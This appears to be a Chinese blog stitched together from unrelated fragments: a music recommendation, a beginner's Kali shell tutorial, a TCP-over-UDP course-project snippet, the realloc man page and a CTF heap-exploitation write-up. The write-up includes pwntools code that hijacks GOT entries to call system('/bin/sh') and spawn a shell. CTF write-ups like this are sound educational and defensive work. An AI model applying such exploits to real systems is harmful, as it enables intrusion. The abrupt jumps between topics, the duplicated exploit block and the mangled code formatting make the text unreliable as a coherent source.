真的神专,每一首都值得反复听。随便挑一首特别喜欢的出来:Giorgio by Moroder,一首由采访起手的音乐,后面有点Trance的感觉,一步步铺垫情感,我就是被Trance给害了。 尤其是第一段落结束后( [4:59 - 5:15] ),在Giorgio说出:
Once you free your mind about a concept of harmony and of music being ‘correct’, you can do whatever you want. So nobody told me what to do, and there was no preconception of what to do.
Shell的中文是壳,读者可能听说过一部叫做《Ghost in The Shell》(攻壳机动队)的作品。
在计算机的世界中,Shell指的是一类软件,允许用户和计算机进行交互。
In computing, a shell is a computer program that exposes an operating system‘s services to a human user or other programs. In general, operating system shells use either a command-line interface (CLI) or graphical user interface (GUI), depending on a computer’s role and particular operation. It is named a shell because it is the outermost layer around the operating system.
┌──(kali㉿kali)-[~] └─$ cd / ┌──(kali㉿kali)-[/] └─$
我们可以使用 cd 指令,其全称是 change directory。在shell中输入 cd / 之后,我们会发现prompt有一定的变化。(这很像MUD,一种的远古文字游戏)
有一个 ~ 符号变成了 /,这表示我们的位置已经到了树根这里。这里有什么呢?
1 2 3 4 5 6
┌──(kali㉿kali)-[/] └─$ ls bin home lib32 media root swapfile var boot initrd.img lib64 mnt run sys vmlinuz dev initrd.img.old libx32 opt sbin tmp vmlinuz.old etc lib lost+found proc srv usr
┌──(kali㉿kali)-[/etc/apt] └─$ cat sources.list # See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/ deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware
# Additional line for source packages # deb-src http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware
如何查询一个指令/软件的官方用法?答案是使用 man 指令,其全称是 manual (手册)。基本上每个软件或指令都会有对应的、由官方编写的、规范化的文档,我们通过man来阅读它们。如果没有对应的 man page 的话,这表示这个指令可能是由shell程序自己实现的而不是一个独立的软件,这时候可以通过 help xxx 来查看其用法。
Remember - this stuff is not easy if you don’t know much, so google everything, question everything, and sooner or later you’ll be down the rabbit hole far enough to be enjoying yourself.
# send self.sdata = [None] * 256# send data buffer self.spos = 0# send position (last available sdata + 1) self.sbase = 0# send base self.snext = 0# next seq to be sent
# receive self.rdata = [None] * 256# receive data buffer self.rbase = 0# receive base (not return to app yet) self.rexpect = 0# expected next seq
当然,上面两种情景也需要考虑丢包问题。 如果主动发送的FIN包发生丢包,也就是收不到FIN ACK,那么它就会一直重传FIN包。 在我的实现中,FIN ACK包只会发送一次,如果它丢包了就说明主动断开的那一方永远收不到FIN ACK了。因此,我在 close 函数中加入了如果超时次数超过 MAX_TIMEOUT,就假装自己收到了FIN ACK。从而也断开连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# wait for FIN ACK (close函数,接上文) self.udp_socket.settimeout(self.timeout) timeout_count = 0 whileTrue: if timeout_count >= MAX_TIMEOUT: print("[info] FIN...") break try: rcvpkt = self.udp_socket.recv(HEADER_SIZE+BUFFER_SIZE) seqNum, ackNum, flag, checksum, data = analyse_pkt(rcvpkt) if flag & FIN and flag & ACK and ackNum == self.snext: self.connected = False print("[info] FIN...") break
except socket.timeout: timeout_count += 1 print("[timeout] FIN ACK") self.udp_send(fin_pack)
在模拟器上的调试环境,参考助教的文档说明即可。中间不可避免会遇到问题,这是锻炼定位问题-搜索能力-解决问题能力的好机会。当然,在连续高强度STFW(Search The Friendly Web)之后,是人都不可避免出现头晕、昏昏沉沉、眼冒金星、可能还有腰酸背痛颈椎痛的情况。此时建议出去走走,今天的PJ1就写到这里……
The realloc() function changes the size of the memory block pointed to by ptr to size bytes. The contents will be unchanged in the range from the start of the region up to the minimum of the old and new sizes. If the new size is larger than the old size, the added memory will not be initialized. If ptr is NULL, then the call is equivalent to malloc(size), for all values of size; if size is equal to zero, and ptr is not NULL, then the call is equivalent to free(ptr). Unless ptr is NULL, it must have been returned by an earlier call to malloc(), calloc() or realloc(). If the area pointed to was moved, a free(ptr) is done.
首先思考可不可以把唯一操作区块的外部函数——realloc替换为puts来泄露地址,笔者这时顾忌到题目限制了区块大小,不太方便构造 unsorted bin 中的区块。 因此将目标瞄准了atoll,这个函数在read_long中被调用,参数是栈上用来读入数字的buffer。可以尝试用它来泄露栈上的数据。
目标是 get shell,由于之前已经有了指向GOT的指针(栏位1中),所以我们想办法利用realloc中最后的那个read_input函数来再次修改GOT。 但由于realloc在中间会调用realloc(废话),直接让他realloc一个GOT中的区块大概率是要出问题的,而且程序会往realloc的返回值中读入数据。因此我们需要想一个办法让realloc调用返回之后,rax是GOT中区块的地址。
所以就有了上面把realloc覆盖为一个简单的 ret 。这样一来,在执行了下面几句代码后,atoll就会变成system的地址(注意注释,很重要):
1 2 3 4 5 6 7 8 9
io.recvuntil(b"choice: ") io.sendline(b"2") io.recvuntil(b"Index:") io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1 io.recvuntil(b"Size:") io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8 # we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident) # so program just pass and execute read_input(heap[v1], size) io.sendline(pack(libc_base+libc.symbols["system"]))
最后,我们随便触发一个read_long,输入/bin/sh,就可以成功 get shell!当然,也可以直接输入 cat ~/flag,如果您需要节省时间的话。
io.recvuntil(b"choice: ") io.sendline(b"2") io.recvuntil(b"Index:") io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1 io.recvuntil(b"Size:") io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8 # we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident) # so program just pass and execute read_input(heap[v1], size) io.sendline(pack(libc_base+libc.symbols["system"]))
# 2.2 trigger system("/bin/sh") by atoi("/bin/sh")
io.recvuntil(b"choice: ") io.sendline(b"1") io.recvuntil(b"Index:") io.sendline(b"/bin/sh\0") success("Enjoy your shell!") io.interactive()